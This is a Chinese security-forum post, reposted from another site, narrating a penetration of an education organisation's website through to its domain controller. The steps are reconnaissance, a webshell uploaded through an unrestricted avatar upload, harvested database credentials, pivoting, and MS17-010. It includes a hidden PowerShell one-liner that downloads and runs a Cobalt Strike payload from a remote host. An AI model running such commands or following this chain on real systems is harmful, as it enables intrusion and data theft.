找回密码
 立即注册
中国网络渗透测试联盟»论坛 › --==渗透测试区{ Penetration testing area }==-- › web app渗透测试::『Web App penetration testing』 › 渗透实战 | 从外网直接打到内网全过程
欢迎中测联盟老会员回家，1997年注册的域名
返回列表 发新帖
查看: 2624|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
admin
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

4 u/ f; \2 S# }" `4 s3 z 这次渗透是一个从0到1，从外网到拿下域控的实战过程，希望可以给大家一些思路 " r( F- |7 v$ }: A% r. @3 g

. A7 [; I4 G* P) W6 q2 Z2 z% e

. ~/ C/ [/ o; [1 x* G4 H, V- A$ ^   j+ w" [/ y) @9 y# ]

6 z' n5 a! c6 t {4 x4 B. \

5 y: c& ]" S7 s) z4 G 正文 ( a7 A4 i: Z( u! o0 \$ `

& x9 O4 Z- f5 K& F

3 H0 x& c0 V& r7 ~' X  3 A: S) i" J# r& h- {) y. [: P

0 w3 a: e5 z5 \+ Q" q; U2 S- a

. ^+ D, j1 J4 }, A( ^& j( f8 G6 f R 目标：www.xxxx.com(一家教育机构)
6 v7 }$ P, I5 o O) ^, x8 p打开是一个登录框，只能是手机号+密码或者手机号+验证码且并未开放注册功能 ! |9 x) _+ z/ |* X0 [7 h& ]* \

N. m5 N: p; ^

; M3 n/ a$ f' @0 B8 W6 k/ ~; W/ F vshapes=5 @0 E$ _6 q1 u$ w3 ~

6 Z9 ~. K, W9 _; u

& `: P! n3 C* @& } 进行了简单的信息搜集
* J) [) N; d& m7 f* J
! N/ r. d" n3 P9 Z) o, @6 L. g3 Q) N9 y8 L; }9 s& ~) ^5 r

: `* j- H3 `8 i2 L. K+ J% ?+ ]- ?# h

( d) Q8 V5 W8 {4 O( M 子域名搜集: G8 N$ j* ~" ?. d5 d$ X$ ^

+ p% I: s1 o5 M9 z7 H9 M

" n+ z+ j- X* d: A( W# J4 B$ F vshapes= $ x8 ]; H, v5 \9 y8 x

! M0 Q% P. X7 M e' T

- [4 x( [; t' s, j$ q+ x. K1 K3 M fofa找资产
: z7 P6 v$ ~5 C7 O
7 F' ]* v, n8 S& A7 t $ t+ x3 h6 g. r$ e- z( s& p

6 g+ Z% B- N! ?3 T. s6 K' x5 f) Y1 V

8 j; @) _2 F! {$ [8 A& \, R7 ~$ P vshapes= 0 i9 b8 ]1 E; n

6 r0 Z" g" ^4 b+ e

# R( M5 Q' p' j0 @ 一共七个资产。去重之后只有两个。
) B/ g# R& J; _. I7 L
- C! ]# j+ f: T' z& A' V $ J$ z) i3 D/ H- B# @. T) V

$ M/ ?( d6 d9 \& q; Q

" ^# D6 t$ c% A! W l 目录探测 - ]# Q' [ C8 N0 Z, |5 Z) k

3 }( g8 [8 N4 S0 Q8 t7 ] D. i. o- D

0 F4 t: @* d1 W0 N3 @; } vshapes=- L/ F- Y# X8 C. f

9 \/ `1 A6 I- j! ]

! l- g: N7 p$ E8 V) n 我尝试了暴力枚举，看有没有弱口令之类的,然而并没有
: W# C% B9 q" `
8 P* u! d0 d/ q' K # M. { a/ x5 S: Y% `: s

9 a" ?8 I$ |5 U( B8 }

. {" V0 z: ^2 J* u7 s$ ~2 q 我又尝试了通过修改返回包来绕过登录界面, m% O( L: V) u" Y( d: Z

0 r' @$ \( y6 ?0 J7 O3 t/ H

* {. N: B2 V& B, B9 K6 s vshapes= ' _$ [8 T, `5 W

7 B3 L0 b" J, Q% O h- m

9 [( u/ }; d; B3 u% A/ u( T( E 还是不行，尝试注入无果 $ s* u2 m( I' A* E

4 P1 F y, Z3 {3 d

0 u8 x$ S, m8 A6 ~ vshapes= 4 }2 U4 ~% n/ P7 M9 r4 ^$ y, u

$ e3 E6 l3 f, E. M( O

- h! Q6 C$ \9 K/ s- R. U 不过我目录探测出了一处Spring信息泄露
$ o ^* h4 T% ]
1 D! C8 M5 h& e1 o6 K ) B5 H1 g- y6 B" I, T

4 K, a( ~ E \/ |

4 d! v' v! K n1 \; `# d. N) G vshapes= ) M* p$ [; v' {+ Y8 W _3 ~

+ Z, w, t* L7 l8 p- |4 G% S) }

. M/ a" P: s3 z3 h 尝试Spring RCE无果，想通过trace目录下替换cookie实现登录，但是发现删除了这个目录 % f* N# l& A- m

# l/ q, U9 B% |9 m% {

) ]0 k3 R( N* F s8 u vshapes=1 e. @2 q( g' @

# D2 i# w. ~ O/ s5 M" B+ ]

2 R9 ]! T1 r3 Y* Y* Z 后对公众号进行了简单的信息搜集，针对公众号搜集时，尽量找后面认证过的进行渗透。! p* w9 A! l& c4 M5 E7 {

p' c4 i: N) z) c% [" A

; `1 c* g3 I' F8 _# Z, r vshapes= & C k' c) Z" o/ v* q! [# g* ~

- _1 ?) O" P4 A5 z9 u, x

- s% [; Q" N1 [* C7 I 获取有些师傅到这一步就手机抓包电脑测了。 4 o+ R6 \. x4 s+ i

$ p) V7 c- Z* A I; z

7 q: u5 ~% n7 k) B! ?' m% `! ]1 h# U Windows新版微信可以抓取公众号和小程序的包，只需要把IE代理配置一下即可。 - X0 K. L, b, q# `8 [

3 f. J* |- |9 z! J

5 [# t/ Q" Q/ R; } 其中在一个公众号发现了小程序，可以进行注册。 & p+ r% I; [4 z u

( K$ Z t5 L5 o3 Q; f

: {' h m. f! `1 z7 m 看到了头像上传，尝试上传获取WebShell3 O0 E. `3 X0 k. D, h

" c8 u( [0 T8 i0 B3 X! B

; z/ t, y% u! a: ^3 X2 x vshapes= % n' w( i3 K. j' ]2 Q1 t/ k

0 X4 P) m- d6 G

; |# D1 N! p `# Q& M 未做任何限制成功GetShell，上了冰蝎马，目录没权限访问 9 M: z7 D. d/ Y# l

- w* u+ V, t: {' M7 e3 c

! I; o {$ w3 D vshapes=6 Y% ?" I" E7 j+ `. r

; ^$ @! y; T c c J0 n+ g

; f8 `+ v1 d% F 然后上了大马3 O/ I! J0 `; p" r6 r/ }2 U1 }

; i. z) R# t1 o7 r5 E" I

8 z& `* u4 b. n1 } vshapes=; W# b7 ]: L, \" G% w# ? N

4 Y# R; a" ~4 w+ B

6 h4 ]3 |: ~: j' N vshapes= n' |( M8 A' Y

4 X. B- ^' \& W: v" p

) N' w2 x. y" ^( V: y# H3 Y 通过翻找文件发现数据库账号密码( k0 s& u0 K, C- _1 S

4 _! L' }% l" E! n3 s+ q

[- m8 u. @, J vshapes=" P% _: J/ Q! ]$ @

, a3 W1 [' F7 H v8 F) s

, }) \8 h1 H' L( x --内网渗透! E) ^/ O5 h) ]' s$ i6 U7 w9 f

) c# N# c8 e, m# l% s3 |+ r5 h

. l" E! x1 Z4 I0 U5 F 直接通过powershell执行 cs上线 ( j, l: l# A. l2 T

+ l% x1 b* Z( `6 x! F/ r: H

9 W; U7 V7 H! \* t+ y# h- S powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"& c. P3 d( _2 d+ ^8 ?2 i

- U5 R1 R4 A2 v1 x

- |# L' W% L! O) K# h vshapes= - d, e# T! r; h% I

, A/ G' k. E1 \1 w

1 b1 m/ ?, w7 ~; {! X 进入内网后，简单的进行一波信息收集，寻找域控并对服务器段进行弱口令爆破 + j4 M# M/ h- t3 F6 }

4 [, F- [: T4 {( h

4 S0 P7 q$ S2 K* r/ h& ` vshapes=3 n3 d; C! a, D6 ^ Q

' `( M, [0 x) e% S3 c- A8 ]

A/ U" K% o1 i$ f) ` 登录爆破出来的服务器，发现多网卡且存在逻辑隔离。
* c( R' W+ ?3 g& d2 B
" [8 A6 T" ^6 R# P- ^" ~
8 X0 f* C n* `8 P8 T) c8 \$ A, F, _ 5 _! y, _; R) K- b" R% J, |

. }1 M& z% T, g# D: y+ {8 |+ w

% C0 ~. q# ^2 e, N vshapes= 2 e7 Q9 E7 h- V4 W! o/ g5 l

2 |% T9 x! t9 S

" @) T+ L" T8 y6 p4 q 通过跳扳机能通域控，发现域控server2008且存在ms17010,直接一把梭
5 q. y3 ^& M) d8 P
# k/ s; Z& Z- K3 q, H ( s2 e1 P7 f" U) R3 J1 V

2 S! N6 Q1 B6 S) j" _) y: N

" I H3 T, W8 d3 S& p vshapes=* \+ f6 ?/ ?2 b) y! [

# ]! S5 h3 f* g8 O1 h9 A7 D4 Q4 Q

, H. S+ P& O6 I( a2 h
7 Z7 j8 v" ]- _" K
M+ W' n$ }' I0 b( W8 w6 H 3 w1 W$ N; I+ w' _; I3 A

3 t/ v( |" e/ P: q

7 K3 m# ~$ K5 ^, A$ ^   ' X; Y5 B1 {0 H7 E% G& i

3 ?. c5 s, t/ Q; ?, `4 x3 y& X. O

6 }" q, Y6 s. `, X' t3 J; d 小结 / l# D& v; C3 ~0 ~" p) s# y$ N+ @3 i. @

* K6 p3 y( o! m

# \6 ~" o8 u) M- \   ( M1 w- W& F J

! m; U7 C6 g5 d* \4 x" M$ f

" t5 o$ i$ l( |$ I* C$ m1 T& h# y 在渗透测试过程中，信息收集很重要，细心和耐心也是不可缺少的，总得来说，这次的渗透测试总的来说比较顺利，希望可以给大家带来一些思路！ ' [! {- u' K; U' Q

2 s$ y" \2 X8 K7 e$ E

- f) s3 z9 d8 j& R- T* L) r' o4 L  $ G0 L8 p/ H1 ]& j% F

6 ^2 t7 v5 M+ J2 ]" a+ A% P; |
    % J/ @1 [/ E; O+ A7 a1 Z) p/ x
  • $ X, [+ | _+ R( d& D9 q  * I! F6 M" V+ d( c: P' b( b
    • / ?+ E* S( a# F0 i
  • 5 p+ F- U# x, W% M, q9 b" C4 g5 X  , I T6 z, o& z& x
    • ( A: J2 {- ?5 m8 @) t& K
% @* Q: k& v% Q! X

& }; g" s& M# f! N8 q: c 作者：Xm4FDf转载自：https://bbs.ichunqiu.com/thread-57879-1-1.html ( a9 E' `1 g' N& A8 R% W8 W8 F/ E

% }; v" F) a5 ?+ n, u% v: d

& t0 f* s/ h8 G8 Z! d$ z  9 y" Z: T. d2 B1 K! o

回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Copyright © 2001-2013 Comsenz. All Rights Reserved - Powered by Discuz! X3.2
快速回复 返回顶部 返回列表